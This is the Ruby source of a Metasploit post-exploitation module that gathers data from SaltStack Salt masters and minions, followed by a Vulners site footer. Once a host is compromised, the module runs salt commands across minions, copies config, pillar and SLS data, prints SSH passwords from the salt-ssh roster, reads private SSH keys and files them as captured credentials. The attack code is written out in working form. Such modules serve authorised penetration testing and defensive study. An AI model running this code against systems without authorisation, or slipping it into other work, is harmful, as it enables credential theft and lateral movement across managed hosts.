##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'yaml'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Exploit::Local::Saltstack
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SaltStack Salt Information Gatherer',
'Description' => %q{
This module gathers information from SaltStack Salt masters and minions.
Data gathered from minions: 1. salt minion config file
Data gathered from masters: 1. minion list (denied, pre, rejected, accepted)
2. minion hostname/ip/os (depending on module settings)
3. SLS
4. roster, any SSH keys are retrieved and saved to creds, SSH passwords printed
5. minion config files
6. pillar data
},
'Author' => [
'h00die',
'c2Vlcgo'
],
'SessionTypes' => %w[shell meterpreter],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('MINIONS', [true, 'Minions Target', '*']),
OptBool.new('GETHOSTNAME', [false, 'Gather Hostname from minions', true]),
OptBool.new('GETIP', [false, 'Gather IP from minions', true]),
OptBool.new('GETOS', [false, 'Gather OS from minions', true]),
OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run', 120])
]
)
end
def gather_pillars
print_status('Gathering pillar data')
begin
out = cmd_exec('salt', "'#{datastore['MINIONS']}' --output=yaml pillar.items", datastore['TIMEOUT'])
vprint_status(out)
results = YAML.safe_load(out, [Symbol]) # during testing we discovered at times Symbol needs to be loaded
store_path = store_loot('saltstack_pillar_data_gather', 'application/x-yaml', session, results.to_yaml, 'pillar_gather.yaml', 'SaltStack Salt Pillar Gather')
print_good("#{peer} - pillar data gathering successfully retrieved and saved to #{store_path}")
rescue Psych::SyntaxError
print_error('Unable to process pillar command output')
return
end
end
def gather_minion_data
print_status('Gathering data from minions (this can take some time)')
command = []
if datastore['GETHOSTNAME']
command << 'network.get_hostname'
end
if datastore['GETIP']
# command << 'network.ip_addrs'
command << 'network.interfaces'
end
if datastore['GETOS']
command << 'status.version' # seems to work on linux
command << 'system.get_system_info' # seems to work on windows, part of salt.modules.win_system
end
commas = ',' * (command.length - 1) # we need to provide empty arguments for each command
command = "salt '#{datastore['MINIONS']}' --output=yaml #{command.join(',')} #{commas}"
begin
out = cmd_exec(command, nil, datastore['TIMEOUT'])
if out == '' || out.nil?
print_error('No results returned. Try increasing the TIMEOUT or decreasing the minions being checked')
return
end
vprint_status(out)
results = YAML.safe_load(out, [Symbol]) # during testing we discovered at times Symbol needs to be loaded
store_path = store_loot('saltstack_minion_data_gather', 'application/x-yaml', session, results.to_yaml, 'minion_data_gather.yaml', 'SaltStack Salt Minion Data Gather')
print_good("#{peer} - minion data gathering successfully retrieved and saved to #{store_path}")
rescue Psych::SyntaxError
print_error('Unable to process gather command output')
return
end
return if results == false || results.nil?
return if results.include?('Salt request timed out.') || results.include?('Minion did not return.')
results.each_value do |result|
# at times the first line may be "Minions returned with non-zero exit code", so we want to skip that
next if result.is_a? String
host_info = {
name: result['network.get_hostname'],
os_flavor: result['status.version'],
comments: "SaltStack Salt minion to #{session.session_host}"
}
# mac os
if result.key?('system.get_system_info') &&
result['system.get_system_info'].include?('Traceback') &&
result.key?('status.version') &&
result['status.version'].include?('unsupported on the current operating system')
host_info[:os_name] = 'osx' # taken from lib/msf/core/post/osx/system
host_info[:os_flavor] = ''
# windows will throw a traceback error for status.version
elsif result.key?('status.version') &&
result['status.version'].include?('Traceback')
info = result['system.get_system_info']
host_info[:os_name] = info['os_name']
host_info[:os_flavor] = info['os_version']
host_info[:purpose] = info['os_type']
end
unless datastore['GETIP'] # if we dont get IP, can't make hosts
print_good("Found minion: #{host_info[:name]} - #{host_info[:os_flavor]}")
next
end
result['network.interfaces'].each do |name, interface|
next if name == 'lo'
next if interface['hwaddr'] == ':::::' # Windows Software Loopback Interface
next unless interface.key? 'inet' # skip if it doesn't have an inet, macos had lots of this
next if interface['inet'][0]['address'] == '127.0.0.1' # ignore localhost
host_info[:mac] = interface['hwaddr']
host_info[:host] = interface['inet'][0]['address'] # ignoring inet6
report_host(host_info)
print_good("Found minion: #{host_info[:name]} (#{host_info[:host]}) - #{host_info[:os_flavor]}")
end
end
end
def list_minions_printer
minions = list_minions
return if minions.nil?
tbl = Rex::Text::Table.new(
'Header' => 'Minions List',
'Indent' => 1,
'Columns' => ['Status', 'Minion Name']
)
minions.each do |minion|
tbl << ['Accepted', minion]
end
minions['minions_pre'].each do |minion|
tbl << ['Unaccepted', minion]
end
minions['minions_rejected'].each do |minion|
tbl << ['Rejected', minion]
end
minions['minions_denied'].each do |minion|
tbl << ['Denied', minion]
end
print_good(tbl.to_s)
end
def minion
print_status('Looking for salt minion config files')
# https://github.com/saltstack/salt/blob/b427688048fdbee106f910c22ebeb105eb30aa10/doc/ref/configuration/minion.rst#configuring-the-salt-minion
[
'/etc/salt/minion', # linux, osx
'C://salt//conf//minion',
'/usr/local/etc/salt/minion' # freebsd
].each do |config|
next unless file?(config)
minion = YAML.safe_load(read_file(config))
if minion['master']
print_good("Minion master: #{minion['master']}")
end
store_path = store_loot('saltstack_minion', 'application/x-yaml', session, minion.to_yaml, 'minion.yaml', 'SaltStack Salt Minion File')
print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}")
break # no need to process more
end
end
def master
list_minions_printer
gather_minion_data if datastore['GETOS'] || datastore['GETHOSTNAME'] || datastore['GETIP']
# get sls files
unless command_exists?('salt')
print_error('salt not found on system')
return
end
print_status('Showing SLS')
output = cmd_exec('salt', "'#{datastore['MINIONS']}' state.show_sls '*'", datastore['TIMEOUT'])
store_path = store_loot('saltstack_sls', 'text/plain', session, output, 'sls.txt', 'SaltStack Salt Master SLS Output')
print_good("#{peer} - SLS output successfully retrieved and saved to #{store_path}")
# get roster
# https://github.com/saltstack/salt/blob/023528b3b1b108982989c4872c138d1796821752/doc/topics/ssh/roster.rst#salt-rosters
print_status('Loading roster')
priv_values = {}
['/etc/salt/roster'].each do |config|
next unless file?(config)
begin
minions = YAML.safe_load(read_file(config))
rescue Psych::SyntaxError
print_error("Unable to load #{config}")
next
end
store_path = store_loot('saltstack_roster', 'application/x-yaml', session, minion.to_yaml, 'roster.yaml', 'SaltStack Salt Roster File')
print_good("#{peer} - roster file successfully retrieved and saved to #{store_path}")
next if minions.nil?
minions.each do |name, minion|
host = minion['host'] # aka ip
user = minion['user']
port = minion['port'] || 22
passwd = minion['passwd']
# sudo = minion['sudo'] || false
priv = minion['priv'] || false
priv_pass = minion['priv_passwd'] || false
print_good("Found SSH minion: #{name} (#{host})")
# make a special print for encrypted ssh keys
unless priv_pass == false
print_good(" SSH key #{priv} password #{priv_pass}")
report_note(host: host,
proto: 'TCP',
port: port,
type: 'SSH Key Password',
data: {
ssh_key: priv,
password: priv_pass
})
end
host_info = {
name: name,
comments: "SaltStack Salt ssh minion to #{session.session_host}",
host: host
}
report_host(host_info)
cred = {
address: host,
port: port,
protocol: 'tcp',
workspace_id: myworkspace_id,
origin_type: :service,
private_type: :password,
service_name: 'SSH',
module_fullname: fullname,
username: user,
status: Metasploit::Model::Login::Status::UNTRIED
}
if passwd
cred[:private_data] = passwd
create_credential_and_login(cred)
next
end
# handle ssh keys if it wasn't a password
cred[:private_type] = :ssh_key
if priv_values[priv]
cred[:private_data] = priv_values[priv]
create_credential_and_login(cred)
next
end
unless file?(priv)
print_error(" Unable to find salt-ssh priv key #{priv}")
next
end
input = read_file(priv)
store_path = store_loot('ssh_key', 'plain/txt', session, input, 'salt-ssh.rsa', 'SaltStack Salt SSH Private Key')
print_good(" #{priv} stored to #{store_path}")
priv_values[priv] = input
cred[:private_data] = input
create_credential_and_login(cred)
end
end
gather_pillars
end
def run
if session.platform == 'windows'
# the docs dont show that you can run as a master, nor was the master .bat included as of this writing
minion
end
minion if command_exists?('salt-minion')
master if command_exists?('salt-master')
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation